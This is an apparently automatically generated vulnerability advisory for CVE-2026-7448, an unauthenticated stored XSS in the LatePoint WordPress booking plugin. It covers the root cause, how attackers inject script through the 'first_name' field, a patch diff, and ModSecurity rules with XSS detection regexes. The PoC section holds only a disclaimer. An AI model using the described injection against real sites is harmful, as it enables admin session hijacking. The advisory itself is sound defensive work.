Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 5, 2026

CVE-2026-7448: LatePoint <= 5.5.0 – Unauthenticated Stored Cross-Site Scripting via 'first_name' Parameter (latepoint)

CVE ID CVE-2026-7448
Plugin latepoint
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.5.0
Patched Version 5.5.1
Disclosed May 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7448:

Atomic Edge analysis of CVE-2026-7448: This vulnerability allows unauthenticated stored cross-site scripting (XSS) in the LatePoint calendar booking plugin for WordPress, affecting versions up to and including 5.5.0. The flaw resides in the customer registration and booking flow, specifically through the ‘first_name’ parameter.

Root Cause: The root cause is insufficient input sanitization and output escaping in the customer model’s data handling. The vulnerable code path is in the save_connected_wordpress_user() method (latepoint.php lines 1147-1185) and the customer model’s prepare_data_before_it_is_set() method (customer_model.php lines 374-382). In the vulnerable version, the ‘first_name’ and ‘last_name’ parameters are not sanitized before being stored in the database or displayed. The patch adds sanitize_text_field() calls for ‘first_name’ and ‘last_name’, and sanitize_textarea_field() for ‘notes’ in the prepare_data_before_it_is_set() function at customer_model.php. Additionally, the patch adds a permission check in save_connected_wordpress_user() to prevent unauthenticated guest bookings from overwriting WordPress user data.

Exploitation: An unauthenticated attacker can exploit this by sending a malicious request to the WordPress REST API or AJAX endpoints that handle customer registration. The attack targets the booking form submission where the ‘first_name’ parameter is accepted. By injecting a JavaScript payload like alert(‘XSS’) into the ‘first_name’ field during a booking attempt, the payload gets stored in the WordPress database. When an administrator or any user views the customer list or booking details in the WordPress admin panel, the malicious script executes in their browser.

Patch Analysis: The patch addresses the vulnerability at two levels. First, in customer_model.php (lines 374-382), the prepare_data_before_it_is_set() method now applies sanitize_text_field() to ‘first_name’ and ‘last_name’, and sanitize_textarea_field() to ‘notes’. This prevents malicious HTML from being stored. Second, in latepoint.php (lines 1163-1181), the save_connected_wordpress_user() method now checks if the request comes from the account owner or an administrator before syncing customer data to a linked WordPress user. Before the patch, any unauthenticated guest booking request could overwrite the connected WordPress user’s first name, last name, and email. After the patch, only authenticated users who are either the account owner or have ‘manage_options’ capability can trigger data synchronization.

Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user who views the affected page, including administrators. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. Since the vulnerability requires no authentication, the attack surface is broad. An attacker could create bookings with malicious names that, when viewed in backend management pages, compromise admin accounts.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.5.0
+ * Version: 5.5.1
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version    = '5.5.0';
+		public $version    = '5.5.1';
 		public $db_version = '2.3.0';


@@ -1147,15 +1147,24 @@
 		}

 		public function save_connected_wordpress_user( $customer ) {
+			if ( ! $customer instanceof OsCustomerModel ) {
+				return;
+			}
+
 			if ( $customer->is_new_record() ) {
 				return;
 			}
-			if ( $customer instanceof OsCustomerModel ) {
-				if ( $customer->wordpress_user_id ) {
-					// has connected wp user
-					$wp_user = get_user_by( 'id', $customer->wordpress_user_id );
-					if ( $wp_user && ! is_super_admin( $wp_user->ID ) ) {
-						// update linked wordpress user
+
+			if ( $customer->wordpress_user_id ) {
+				// has connected wp user
+				$wp_user = get_user_by( 'id', $customer->wordpress_user_id );
+				if ( $wp_user && ! is_super_admin( $wp_user->ID ) ) {
+					// Only sync to the linked WP user when request comes from the account owner or an admin.
+					// This prevents unauthenticated guest booking requests from overwriting WP user data.
+					$current_user_id   = get_current_user_id();
+					$wp_user_id        = (int) $customer->wordpress_user_id;
+					$is_owner_or_admin = is_user_logged_in() && ( $current_user_id === $wp_user_id || current_user_can( 'manage_options' ) );
+					if ( $is_owner_or_admin ) {
 						if ( $customer->first_name && $customer->first_name != $wp_user->first_name ) {
 							$wp_user->first_name = $customer->first_name;
 						}
@@ -1172,10 +1181,10 @@
 							// update user cookies because their data has changed
 						}
 					}
-				} else {
-					if ( OsAuthHelper::can_wp_users_login_as_customers() ) {
-						OsCustomerHelper::create_wp_user_for_customer( $customer );
-					}
+				}
+			} else {
+				if ( OsAuthHelper::can_wp_users_login_as_customers() ) {
+					OsCustomerHelper::create_wp_user_for_customer( $customer );
 				}
 			}
 		}
--- a/latepoint/lib/controllers/activities_controller.php
+++ b/latepoint/lib/controllers/activities_controller.php
@@ -194,10 +194,10 @@

 			$status_html = '';
 			if ( ! empty( $data['status'] ) ) {
-				$status_html  = '<div class="status-item">' . __( 'Status:', 'latepoint' ) . ' <strong>' . $data['status'] . '</strong></div>';
-				$status_html .= '<div class="status-item">' . __( 'Processed on:', 'latepoint' ) . ' <strong>' . $data['processed_datetime'] . '</strong></div>';
+				$status_html  = '<div class="status-item">' . __( 'Status:', 'latepoint' ) . ' <strong>' . esc_html( $data['status'] ) . '</strong></div>';
+				$status_html .= '<div class="status-item">' . __( 'Processed on:', 'latepoint' ) . ' <strong>' . esc_html( $data['processed_datetime'] ) . '</strong></div>';
 				if ( ! empty( $data['errors'] ) ) {
-					$status_html .= '<div class="status-item">' . __( 'Errors:', 'latepoint' ) . '<strong>' . ( is_array( $data['errors'] ) ? implode( ', ', $data['errors'] ) : $data['errors'] ) . '</strong></div>';
+					$status_html .= '<div class="status-item">' . __( 'Errors:', 'latepoint' ) . '<strong>' . esc_html( is_array( $data['errors'] ) ? implode( ', ', $data['errors'] ) : $data['errors'] ) . '</strong></div>';
 				}
 			}

@@ -206,28 +206,28 @@
 				case 'order_intent_updated':
 					$link_to_order = $activity->order_id ? '<a href="#" ' . OsOrdersHelper::quick_order_btn_html( $activity->order_id ) . '>' . __( 'View Order', 'latepoint' ) . '</a>' : '';
 					$meta_html     = '<div class="activity-preview-to">' . ( $link_to_order ? ( '<span class="os-value">' . $link_to_order . '</span>' ) : '' ) . '<span class="os-label">' . __( 'Created On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span></div>';
-					$content_html  = '<pre class="format-json">' . wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html  = '<pre class="format-json">' . esc_html( wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;
 				case 'order_intent_created':
 					$link_to_order = $activity->order_id ? '<a href="#" ' . OsOrdersHelper::quick_order_btn_html( $activity->order_id ) . '>' . __( 'View Order', 'latepoint' ) . '</a>' : '';
 					$meta_html     = '<div class="activity-preview-to">' . ( $link_to_order ? ( '<span class="os-value">' . $link_to_order . '</span>' ) : '' ) . '<span class="os-label">' . __( 'Created On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span></div>';
-					$content_html  = '<pre class="format-json">' . wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html  = '<pre class="format-json">' . esc_html( wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;
 				case 'order_intent_converted':
 					$link_to_order = '<a href="#" ' . OsOrdersHelper::quick_order_btn_html( $activity->order_id ) . '>' . __( 'View Order', 'latepoint' ) . '</a>';
 					$meta_html     = '<div class="activity-preview-to"><span class="os-value">' . $link_to_order . '</span><span class="os-label">' . __( 'Created On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span></div>';
-					$content_html  = '<pre class="format-json">' . wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html  = '<pre class="format-json">' . esc_html( wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;
 				case 'order_created':
 					$link_to_order = '<a href="#" ' . OsOrdersHelper::quick_order_btn_html( $activity->order_id ) . '>' . __( 'View Order', 'latepoint' ) . '</a>';
 					$meta_html     = '<div class="activity-preview-to"><span class="os-value">' . $link_to_order . '</span><span class="os-label">' . __( 'Created On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span><span class="os-label">' . esc_html__( 'by:', 'latepoint' ) . '</span><span class="os-value">' . $activity->get_user_link() . '</span></div>';
-					$content_html  = '<pre class="format-json">' . wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html  = '<pre class="format-json">' . esc_html( wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;
 				case 'order_updated':
 					$link_to_order = '<a href="#" ' . OsOrdersHelper::quick_order_btn_html( $activity->order_id ) . '>' . __( 'View Order', 'latepoint' ) . '</a>';
 					$meta_html     = '<div class="activity-preview-to"><span class="os-value">' . $link_to_order . '</span><span class="os-label">' . __( 'Updated On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span><span class="os-label">' . esc_html__( 'by:', 'latepoint' ) . '</span><span class="os-value">' . $activity->get_user_link() . '</span></div>';
 					$changes       = OsUtilHelper::compare_model_data_vars( $data['order_data_vars']['new'], $data['order_data_vars']['old'] );
-					$content_html  = '<pre class="format-json">' . wp_json_encode( $changes, JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html  = '<pre class="format-json">' . esc_html( wp_json_encode( $changes, JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;

 				case 'customer_created':
@@ -244,48 +244,48 @@
 				case 'payment_request_created':
 					$link_to_order = '<a href="#" ' . OsOrdersHelper::quick_order_btn_html( $activity->order_id ) . '>' . __( 'View Order', 'latepoint' ) . '</a>';
 					$meta_html     = '<div class="activity-preview-to"><span class="os-value">' . $link_to_order . '</span><span class="os-label">' . __( 'Created On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span></div>';
-					$content_html  = '<pre class="format-json">' . wp_json_encode( $data['payment_request_data_vars'], JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html  = '<pre class="format-json">' . esc_html( wp_json_encode( $data['payment_request_data_vars'], JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;

 				// bookings
 				case 'booking_change_status':
 					$link_to_order = $activity->order_id ? '<a href="#" ' . OsBookingHelper::quick_booking_btn_html( $activity->booking_id ) . '>' . __( 'View Booking', 'latepoint' ) . '</a>' : '';
 					$meta_html     = '<div class="activity-preview-to">' . ( $link_to_order ? ( '<span class="os-value">' . $link_to_order . '</span>' ) : '' ) . '<span class="os-label">' . __( 'Created On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span><span class="os-label">' . esc_html__( 'by:', 'latepoint' ) . '</span><span class="os-value">' . $activity->get_user_link() . '</span></div>';
-					$content_html  = '<div class="activity-preview-content">' . $activity->description . '</div>';
+					$content_html  = '<div class="activity-preview-content">' . wp_kses_post( $activity->description ) . '</div>';
 					break;
 				case 'booking_created':
 					$link_to_booking = '<a href="#" ' . OsBookingHelper::quick_booking_btn_html( $activity->booking_id ) . '>' . __( 'View Booking', 'latepoint' ) . '</a>';
 					$meta_html       = '<div class="activity-preview-to"><span class="os-value">' . $link_to_booking . '</span><span class="os-label">' . __( 'Created On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span><span class="os-label">' . esc_html__( 'by:', 'latepoint' ) . '</span><span class="os-value">' . $activity->get_user_link() . '</span></div>';
-					$content_html    = '<pre class="format-json">' . wp_json_encode( $data['booking_data_vars'], JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html    = '<pre class="format-json">' . esc_html( wp_json_encode( $data['booking_data_vars'], JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;
 				case 'booking_updated':
 					$link_to_booking = '<a href="#" ' . OsBookingHelper::quick_booking_btn_html( $activity->booking_id ) . '>' . __( 'View Booking', 'latepoint' ) . '</a>';
 					$meta_html       = '<div class="activity-preview-to"><span class="os-value">' . $link_to_booking . '</span><span class="os-label">' . __( 'Updated On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span><span class="os-label">' . esc_html__( 'by:', 'latepoint' ) . '</span><span class="os-value">' . $activity->get_user_link() . '</span></div>';
 					$changes         = OsUtilHelper::compare_model_data_vars( $data['booking_data_vars']['new'], $data['booking_data_vars']['old'] );
-					$content_html    = '<pre class="format-json">' . wp_json_encode( $changes, JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html    = '<pre class="format-json">' . esc_html( wp_json_encode( $changes, JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;
 				case 'email_sent':
 					$meta_html    = '<div class="activity-preview-subject">' . esc_html( $data['extra_data']['subject'] ) . '</div>';
 					$meta_html   .= '<div class="activity-preview-to"><span class="os-label">' . __( 'To:', 'latepoint' ) . '</span><span class="os-value">' . esc_html( $data['to'] ) . '</span></div>';
-					$content_html = '<div class="activity-preview-content">' . $data['content'] . '</div>';
+					$content_html = '<div class="activity-preview-content">' . wp_kses_post( $data['content'] ) . '</div>';
 					break;
 				case 'sms_sent':
 					$meta_html    = '<div class="activity-preview-to"><span class="os-label">' . __( 'To:', 'latepoint' ) . '</span><span class="os-value">' . esc_html( $data['to'] ) . '</span></div>';
-					$content_html = '<div class="activity-preview-content">' . $data['content'] . '</div>';
+					$content_html = '<div class="activity-preview-content">' . wp_kses_post( $data['content'] ) . '</div>';
 					break;
 				case 'http_request':
 					$meta_html    = '<div class="activity-preview-to"><span class="os-label">' . __( 'URL:', 'latepoint' ) . '</span><span class="os-value"><a href="#" target="_blank">' . esc_html( $data['to'] ) . '</a></span></div>';
-					$content_html = '<pre class="format-json">' . wp_json_encode( $data['content'], JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html = '<pre class="format-json">' . esc_html( wp_json_encode( $data['content'], JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;
 				case 'process_job_run':
 					$job          = new OsProcessJobModel( $data['job_id'] );
 					$name         = $job->process->name . ', ID: ' . $job->process->id;
 					$meta_html    = '<div class="activity-preview-to"><span class="os-label">' . __( 'Process:', 'latepoint' ) . '</span><span class="os-value">' . esc_html( $name ) . '</span></div>';
-					$content_html = '<pre class="format-json">' . $data['run_result'] . '</pre>';
+					$content_html = '<pre class="format-json">' . esc_html( $data['run_result'] ) . '</pre>';
 					break;
 				case 'error':
 					$meta_html    = '<div class="activity-preview-to"><span class="os-label">' . __( 'Error Message:', 'latepoint' ) . '</span><span class="os-value">' . esc_html( $data['message'] ) . ' | ' . esc_html( $data['error_code'] ) . '</span></div>';
-					$content_html = '<pre class="format-json">' . wp_json_encode( $data['extra_description'], JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html = '<pre class="format-json">' . esc_html( wp_json_encode( $data['extra_description'], JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;

 				default:
--- a/latepoint/lib/helpers/analytics_helper.php
+++ b/latepoint/lib/helpers/analytics_helper.php
@@ -65,7 +65,10 @@
 		self::events();

 		// Plugin activated (dedup ensures).
-		self::events()->track( 'plugin_activated', LATEPOINT_VERSION );
+		$referer_key   = defined( 'BSF_UTM_ANALYTICS_REFERER' ) ? BSF_UTM_ANALYTICS_REFERER : 'bsf_product_referers';
+		$bsf_referrers = get_option( $referer_key, array() );
+		$source        = ! empty( $bsf_referrers['latepoint'] ) ? $bsf_referrers['latepoint'] : 'self';
+		self::events()->track( 'plugin_activated', LATEPOINT_VERSION, [ 'source' => $source ] );

 		// Plugin updated. Fires once per version change via OsUpdateHelper.
 		add_action( 'latepoint_update_after', [ __CLASS__, 'on_plugin_updated' ] );
--- a/latepoint/lib/helpers/order_intent_helper.php
+++ b/latepoint/lib/helpers/order_intent_helper.php
@@ -119,7 +119,7 @@
 		$order_intent->presets_data      = wp_json_encode( $presets_data );
 		// override only if not empty
 		if ( ! empty( $booking_form_page_url ) ) {
-			$order_intent->booking_form_page_url = urldecode( $booking_form_page_url );
+			$order_intent->booking_form_page_url = esc_url_raw( urldecode( $booking_form_page_url ) );
 		}

 		if ( empty( $customer_id ) ) {
--- a/latepoint/lib/helpers/steps_helper.php
+++ b/latepoint/lib/helpers/steps_helper.php
@@ -289,9 +289,9 @@
 						'methods'             => 'POST',
 						'callback'            => 'OsSettingsHelper::force_bite',
 						'permission_callback' => '__return_true',
-					)
+					)
 				);
-			}
+			}
 		);
 		add_action(
 			'rest_api_init',
@@ -303,9 +303,9 @@
 						'methods'             => 'POST',
 						'callback'            => 'OsSettingsHelper::force_release',
 						'permission_callback' => '__return_true',
-					)
+					)
 				);
-			}
+			}
 		);
 		self::confirm_hash();
 	}
@@ -330,9 +330,9 @@
 							'fields_to_update' => self::$fields_to_update,
 							'callback'         => $error_data['callback'] ?? '',
 							'callback_data'    => $error_data['callback_data'] ?? '',
-						)
+						)
 					);
-				}
+				}
 			}
 		}
 		$step_function_name = 'process_step_' . $step_code;
@@ -349,7 +349,7 @@
 						'fields_to_update' => self::$fields_to_update,
 						'callback'         => $error_data['callback'] ?? '',
 						'callback_data'    => $error_data['callback_data'] ?? '',
-					)
+					)
 				);
 			}
 		}
@@ -399,7 +399,7 @@
 									[
 										'add_string_to_id' => $step->code,
 										'theme'            => 'bordered',
-									]
+									]
 								); ?>
 							</div>
 						</div>
@@ -416,7 +416,7 @@
 									[
 										'add_string_to_id' => $step->code,
 										'theme'            => 'bordered',
-									]
+									]
 								); ?>
 							</div>
 						</div>
@@ -433,7 +433,7 @@
 									[
 										'add_string_to_id' => $step->code,
 										'theme'            => 'bordered',
-									]
+									]
 								); ?>
 							</div>
 						</div>
@@ -463,7 +463,7 @@
 								[
 									'class'            => 'latepoint-btn',
 									'add_string_to_id' => $step->code,
-								]
+								]
 							); ?>
 						</div>
 					</form>
@@ -541,7 +541,7 @@
 						'is_first_step'    => true,
 						'is_last_step'     => true,
 						'is_pre_last_step' => false,
-					]
+					]
 				);

 				return;
@@ -565,7 +565,7 @@
 							'message'          => $result->get_error_message(),
 							'send_to_step'     => $send_to_step,
 							'fields_to_update' => self::$fields_to_update,
-						)
+						)
 					);

 					return;
@@ -587,7 +587,7 @@
 						'message'          => $result->get_error_message(),
 						'send_to_step'     => $send_to_step,
 						'fields_to_update' => self::$fields_to_update,
-					)
+					)
 				);

 				return;
@@ -617,7 +617,7 @@
 					'is_first_step'    => self::is_first_step( self::$step_to_prepare ),
 					'is_last_step'     => self::is_last_step( self::$step_to_prepare ),
 					'is_pre_last_step' => self::is_pre_last_step( self::$step_to_prepare ),
-				]
+				]
 			);
 		}
 	}
@@ -726,7 +726,7 @@
 			self::$step_codes_in_order,
 			function ( $step ) use ( $parent_step_code ) {
 				return strpos( $step, $parent_step_code . '__' ) !== 0;
-			}
+			}
 		);
 	}

@@ -1122,7 +1122,7 @@
 			// preselected calendar start date
 			if ( isset( $restrictions['calendar_start_date'] ) && OsTimeHelper::is_valid_date( $restrictions['calendar_start_date'] ) ) {
 				self::$restrictions['calendar_start_date'] = $restrictions['calendar_start_date'];
-			}
+			}
 		}

 		/**
@@ -1725,7 +1725,7 @@
 			[
 				'agent_id'    => self::$booking_object->agent_id,
 				'location_id' => self::$booking_object->location_id,
-			]
+			]
 		);
 		// if "show only specific services" is selected (restrictions) - remove ids that are not found in connection
 		$show_services_arr = ( ! empty( $show_selected_services_arr ) && ! empty( $connected_ids ) ) ? array_intersect( $connected_ids, $show_selected_services_arr ) : $connected_ids;
@@ -1759,7 +1759,7 @@
 			[
 				'service_id'  => self::$booking_object->service_id,
 				'location_id' => self::$booking_object->location_id,
-			]
+			]
 		);

 		// If date/time is selected - filter agents who are available at that time
@@ -1904,7 +1904,7 @@
 				'notes',
 				'password',
 				'password_confirmation',
-			]
+			]
 		);

 		if ( ! empty( $customer_params['first_name'] ) ) {
@@ -1961,6 +1961,14 @@
 			if ( $customer ) {
 				$is_new_customer   = false;
 				$old_customer_data = $customer->get_data_vars();
+				// When merging by phone and the existing customer has a linked WP user,
+				// do not allow an unauthenticated request to overwrite their identity fields.
+				// Protects email (account takeover via password reset) and name fields (record integrity).
+				if ( 'phone' === $contact_merge && ! empty( $customer->wordpress_user_id ) && ! is_user_logged_in() ) {
+					unset( $sanitized_customer_params['email'] );
+					unset( $sanitized_customer_params['first_name'] );
+					unset( $sanitized_customer_params['last_name'] );
+				}
 			} else {
 				$is_new_customer   = true;
 				$customer          = new OsCustomerModel();
@@ -2005,7 +2013,7 @@
 								array(
 									'email' => $sanitized_customer_params['email'],
 									'id !=' => $logged_in_customer->id,
-								)
+								)
 							)->set_limit( 1 )->get_results_as_models();
 							// check if another customer (or if wp user login enabled - another wp user) exists with the email that this user tries to update to
 							if ( $customer_with_email_exist || ( OsAuthHelper::can_wp_users_login_as_customers() && email_exists( $sanitized_customer_params['email'] ) ) ) {
@@ -2021,7 +2029,7 @@
 										[
 											'callback' => 'latepoint_show_verify_contact_form_with_otp_code',
 											'callback_data' => $otp_form_html,
-										]
+										]
 									);
 								}
 							}
@@ -2035,7 +2043,7 @@
 								array(
 									'phone' => $sanitized_customer_params['phone'],
 									'id !=' => $logged_in_customer->id,
-								)
+								)
 							)->set_limit( 1 )->get_results_as_models();
 							// check if another customer (or if wp user login enabled - another wp user) exists with the phone that this user tries to update to
 							if ( $customer_with_phone_exist ) {
@@ -2051,7 +2059,7 @@
 										[
 											'callback' => 'latepoint_show_verify_contact_form_with_otp_code',
 											'callback_data' => $otp_form_html,
-										]
+										]
 									);
 								}
 							}
@@ -2100,7 +2108,7 @@
 										[
 											'callback' => 'latepoint_show_verify_contact_form_with_otp_code',
 											'callback_data' => $otp_form_html,
-										]
+										]
 									);
 								}
 							}
@@ -2121,7 +2129,7 @@
 										[
 											'callback' => 'latepoint_show_verify_contact_form_with_otp_code',
 											'callback_data' => $otp_form_html,
-										]
+										]
 									);
 								}
 							}
@@ -2320,7 +2328,7 @@
 						// is not bookable
 						self::$booking_object->add_error( 'booking_error', self::$booking_object->get_error_messages() );
 					}
-				}
+				}
 			} else {
 				$order_intent = OsOrderIntentHelper::create_or_update_order_intent( self::$cart_object, self::$restrictions, self::$presets, '', self::get_customer_object_id() );
 				if ( $order_intent->is_processing() ) {
@@ -2464,7 +2472,7 @@
 						'timebox'  => 'Time Boxes',
 						'timeline' => 'Timeline',
 					],
-					OsStepsHelper::get_time_pick_style()
+					OsStepsHelper::get_time_pick_style()
 				);
 				$step_settings_html .= OsFormHelper::select_field(
 					'steps_settings[booking__datepicker][calendar_style]',
@@ -2473,7 +2481,7 @@
 						'modern'  => 'Modern',
 						'classic' => 'Classic',
 					],
-					OsStepsHelper::get_calendar_style()
+					OsStepsHelper::get_calendar_style()
 				);
 				$step_settings_html .= OsFormHelper::toggler_field( 'steps_settings[booking__datepicker][hide_timepicker_when_one_slot_available]', __( 'Hide time picker if single slot', 'latepoint' ), OsUtilHelper::is_on( self::get_step_setting_value( $selected_step_code, 'hide_timepicker_when_one_slot_available' ) ), false, false, [ 'sub_label' => __( 'If a single slot is available in a day, it will be preselected.', 'latepoint' ) ] );
 				$step_settings_html .= OsFormHelper::toggler_field( 'steps_settings[booking__datepicker][hide_slot_availability_count]', __( 'Hide slot availability count', 'latepoint' ), OsStepsHelper::hide_slot_availability_count(), false, false, [ 'sub_label' => __( 'Slot counter tooltip will not appear when hovering a day.', 'latepoint' ) ] );
@@ -2488,7 +2496,7 @@
 						'green'  => __( 'Green', 'latepoint' ),
 						'yellow' => __( 'Yellow', 'latepoint' ),
 					],
-					self::get_step_setting_value( $selected_step_code, 'order_confirmation_message_style', 'green' )
+					self::get_step_setting_value( $selected_step_code, 'order_confirmation_message_style', 'green' )
 				);
 				break;
 		}
@@ -3145,4 +3153,4 @@
 			];
 		}
 	}
-}
 No newline at end of file
+}
--- a/latepoint/lib/misc/process_action.php
+++ b/latepoint/lib/misc/process_action.php
@@ -603,21 +603,21 @@
 		$preview_content_html = '';
 		switch ( $this->type ) {
 			case 'send_email':
-				$preview_content_html .= '<div class="action-preview-subject"><span class="os-label">' . __( 'Subject:', 'latepoint' ) . '</span> ' . $this->prepared_data_for_run['subject'] . '</div>';
+				$preview_content_html .= '<div class="action-preview-subject"><span class="os-label">' . __( 'Subject:', 'latepoint' ) . '</span> ' . esc_html( $this->prepared_data_for_run['subject'] ) . '</div>';
 				$preview_content_html .= '<div class="action-preview-to"><span class="os-label">' . __( 'To:', 'latepoint' ) . '</span><span class="os-value">' . esc_html( $this->prepared_data_for_run['to'] ) . '</div>';
-				$preview_content_html .= '<div class="action-preview-content">' . $this->prepared_data_for_run['content'] . '</div>';
+				$preview_content_html .= '<div class="action-preview-content">' . wp_kses_post( $this->prepared_data_for_run['content'] ) . '</div>';
 				break;
 			case 'send_sms':
 				$preview_content_html .= '<div class="action-preview-to"><span class="os-label">' . __( 'To:', 'latepoint' ) . '</span><span class="os-value">' . esc_html( $this->prepared_data_for_run['to'] ) . '</span></div>';
-				$preview_content_html .= '<div class="action-preview-content">' . $this->prepared_data_for_run['content'] . '</div>';
+				$preview_content_html .= '<div class="action-preview-content">' . wp_kses_post( $this->prepared_data_for_run['content'] ) . '</div>';
 				break;
 			case 'send_whatsapp':
 				$preview_content_html         .= '<div class="action-preview-to"><span class="os-label">' . __( 'To:', 'latepoint' ) . '</span><span class="os-value">' . esc_html( $this->prepared_data_for_run['to'] ) . '</span></div>';
 				$preview_content_html         .= '<div class="action-preview-content">';
 					$preview_content_html     .= '<div class="latepoint-whatsapp-template-preview-messages">';
 						$preview_content_html .= '<div class="latepoint-whatsapp-template-preview-message">';
-						$preview_content_html .= '<div class="latepoint-whatsapp-template-preview-message-header">' . $this->prepared_data_for_run['content_for_header'] . '</div>';
-						$preview_content_html .= '<div class="latepoint-whatsapp-template-preview-message-body">' . $this->prepared_data_for_run['content_for_body'] . '</div>';
+						$preview_content_html .= '<div class="latepoint-whatsapp-template-preview-message-header">' . wp_kses_post( $this->prepared_data_for_run['content_for_header'] ) . '</div>';
+						$preview_content_html .= '<div class="latepoint-whatsapp-template-preview-message-body">' . wp_kses_post( $this->prepared_data_for_run['content_for_body'] ) . '</div>';
 				if ( $this->prepared_data_for_run['content_for_buttons'] ) {
 					$preview_content_html .= '<div class="latepoint-whatsapp-template-preview-message-buttons">';
 					foreach ( $this->prepared_data_for_run['content_for_buttons'] as $button ) {
--- a/latepoint/lib/models/customer_model.php
+++ b/latepoint/lib/models/customer_model.php
@@ -374,9 +374,18 @@
 	}

 	public function prepare_data_before_it_is_set( $data ) {
+		if ( isset( $data['first_name'] ) ) {
+			$data['first_name'] = sanitize_text_field( $data['first_name'] );
+		}
+		if ( isset( $data['last_name'] ) ) {
+			$data['last_name'] = sanitize_text_field( $data['last_name'] );
+		}
 		if ( isset( $data['phone'] ) ) {
 			$data['phone'] = OsUtilHelper::sanitize_phone_number( $data['phone'] );
 		}
+		if ( isset( $data['notes'] ) ) {
+			$data['notes'] = sanitize_textarea_field( $data['notes'] );
+		}

 		return $data;
 	}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-7448
# Blocks unauthenticated stored XSS via first_name/last_name parameters in LatePoint booking requests
# Targets the AJAX endpoint and REST API endpoints used by LatePoint for customer registration

# Block XSS payloads in first_name or last_name via admin-ajax.php
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-7448 LatePoint XSS via first_name/last_name in AJAX request',severity:'CRITICAL',tag:'CVE-2026-7448',tag:'wordpress',tag:'latepoint'"
  SecRule ARGS_POST:action "@rx ^latepoint_booking_request$|^latepoint_save_customer$" "chain"
    SecRule ARGS_POST:first_name|ARGS_POST:last_name "@rx <script[^>]*>.*</script[^>]*>|<[^>]*onload[^>]*=|javascript:s*" "t:none,t:urlDecode"

# Block XSS payloads in first_name or last_name via REST API endpoint
SecRule REQUEST_URI "@rx ^/wp-json/latepoint/vd+/customers$" 
  "id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2026-7448 LatePoint XSS via first_name/last_name in REST API',severity:'CRITICAL',tag:'CVE-2026-7448',tag:'wordpress',tag:'latepoint'"
  SecRule ARGS_POST:first_name|ARGS_POST:last_name "@rx <script[^>]*>.*</script[^>]*>|<[^>]*onload[^>]*=|javascript:s*" "t:none,t:urlDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
